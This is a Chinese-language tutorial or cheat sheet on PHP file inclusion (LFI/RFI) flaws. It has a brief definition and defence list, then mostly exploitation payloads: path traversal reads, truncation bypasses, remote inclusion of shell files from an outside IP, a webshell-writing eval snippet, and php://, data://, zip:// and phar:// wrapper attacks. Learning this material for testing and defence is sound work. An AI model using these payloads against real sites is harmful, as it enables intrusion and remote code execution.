文件包含
1. 定义
- 把****可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含
2. 产生条件
- 用户可以****控制包含文件的传参内容
- 服务端****未过滤或未严格过滤参数传入内容
3. 相关函数
include()、include_once()、
require()、require_once()、
highlight_file()、show_source()、
readfile()、file_get_contents()、fopen()、file()
4. 防御
- 尽量不使用动态包含,使用静态页面
- 路径限制
- 严格过滤传入参数(
.
\
/
)- 禁用远程文件包含
- 包含文件****验证
5. 分类
(1). 本地文件包含LFI
a. 条件
- allow_url_fopen = ON
- 用户可以动态控制变量
- 知道相对路径/绝对路径
b. 利用
①读取本地文件
- 绝对路径读取本地host文件
- Windows
C:\\Windows\System32\drivers\etc\hosts
- Linux
/etc/hosts
- Windows
- 相对路径读取本地host文件
- Windows
..\..\..\..\Windows\System32\drivers\etc\hosts
- Linux
..\..\..\etc\hosts
- Windows
②包含图片马
- 利用文件包含漏洞直接包含木马图片
/action.php?action=../muma.jpg
c. 绕过
- 代码形式(自带拼接后缀)
<?php
$filename=$_GET['filename'];
include $filename.'.php';
?>
①%00截断
-
满足条件
- magic_quotes_gpc = Off
- php版本 < 5.2.4
-
形式
/action.php?action=phpinfo.php%00
②路径长度截断
-
满足条件
- Windows下要长于****198字符,超出部分会被丢弃
- php < 5.3.4
- 操作系统版本要是****低版本(例如Win7)
-
形式
/action.php?action=phpinfo.php/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
③点号截断
-
满足条件
- Windows下要长于****198字符,超出部分会被丢弃
- php < 5.3.4
- 操作系统版本要是****低版本(例如Win7)
-
形式
/action.php?action=phpinfo.php.....................................................................................................................................................................................................................................................
(2). 远程文件包含RFI
a. 条件
- allow_url_include = On (默认为Off)
- allow_url_fopen = On (是否允许打开远程文件)
- 用户可以****动态控制变量
b. 利用
#通过http协议加载目标机中的info.php文件
[URL]?file= http://ip/info.php
#通过ftp协议加载目标机中的info.php文件
[URL]?file= ftp://用户名:密码@ip/info.php
c. 绕过
- 问号(
?
)绕过[URL]?file=http://192.168.172.150/shell.asp?
- 井号(
#
)绕过[URL]?file=http://192.168.172.150/shell.asp%23
- 空格绕过
[URL]?file=http://192.168.172.150/shell.asp%20 or [URL]?file=http://192.168.172.150/shell.asp+
6. 漏洞利用
(1). 端口探测
url=dict://ip:80
[URL]?action=dict://192.168.41.46:80 //探测80端口
(2). 包含上传的Wetshell
- 上传图片马,利用文件包含调用图片马,使用工具进行连接
(3). 包含日志文件Getshell
- 构造报错信息写进错误日志
(4). 远程文件包含写Shell
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST['cmd']);?>');
?>
(5). 使用PHP伪协议写Getshell
7. 伪协议
(1). 定义
- 伪协议不同于网上真实存在的协议,而是为****关联应用程序而使用的
伪协议 | 说明 |
---|---|
file:// | 访问本地文件系统 |
http:// | 访问HTTP(s)网址 |
ftp:// | 访问FTP(s)的URLS |
php:// | 访问各个输入/输入流 |
zlib:// | 压缩流 |
data:// | 数据(RFC2397) |
rar:// | RAR |
(2). 分类
a. file://协议
-
用途
- 访问到****本地系统文件
-
使用条件
- 知道****绝对路径
-
使用方法
file://path/filename (绝对路径)
-
案例
[URL]?action=file://c:\Windows\System32\drivers\etc\hosts
b. php://filter协议
-
用途
- 常用于****读取文件\源码
-
使用条件
- 知道****相对路径或绝对路径
-
使用方法
- 通过指定末尾的文件,可以获取****经base64加密后的文件源码,之后再base64解码,虽然不能直接获取到shell,但能读取敏感文件
[URL]?action=php://filter/read=convert.base64-encode/resource=4filename
-
案例
[URL]?action=php://filter/read=convert.base64-encode/resource=shell.php
c. php://input协议
-
用途
- 可以访问请求的****原始数据的只读流,将post请求中的数据作为PHP代码执行
-
使用条件
- allow_url_include = on
-
使用方法
1. 抓包后,在url栏后面加上?action=php://input 2. 在正文部分添加php代码
-
案例
d. data://协议
-
用途
- 执行****接受数据中包含的php代码
-
使用条件
- allow_url_fopen = on
- allow_url_include = on
-
使用方法
[URL]?file=data:text/plain,<?php phpinfo();?> or [URL]?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= //base64加密后内容 or [URL]?file=data://text/plain,<?php phpinfo();?>
-
案例
e. zip://协议
-
用途
- 读取****压缩包内的文件,如果包含php代码就直接执行
-
使用条件
- 知道****相对路径或绝对路径
-
使用方法
zip://archive.zip#dir/file.txt or zip://[相对路径/绝对路径]#[压缩文件内的子文件名]
-
案例
[URL]?file=zip://D:/WWW/file.zip%23phpcode.txt or [URL]?file=zip://D:/WWW/file.zip%23php/phpcode.txt or [URl]?file=zip://D:/WWW/file.jpg%23phpcode.txt
f. phar://协议
-
用途
- 读取压缩包内的文件
-
使用条件
- 知道****相对路径或绝对路径
- php版本 > 5.3
-
使用方法
[URL]?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt or [URL]?file=phar://test.zip/phpinfo.txt
-
案例
http://192.168.172.150/include.php?file=phar://shell.zip/shell.txt
g. compress.bzip2://
-
用途
- 读取压缩包内的文件
-
使用条件
- 知道****相对路径或绝对路径
-
使用方法
- 压缩bzip2文件的方法:
Bzip2 -k shell.txt
[URL]?file=compress.bzip2://shell.txt.bz2
- 压缩bzip2文件的方法:
-
案例
http://192.168.172.150/include.php?file=compress.bzip2://shell.txt.bz2
h. compress.zlib://
-
用途
- 读取压缩包内的文件
-
使用条件
- 知道****相对路径或绝对路径
-
使用方法
[URL]?file=compress.zlib://shell.zip#shell.txt
-
案例
http://192.168.172.150/include.php?file=compress.zlib://shell.zip#shell.txt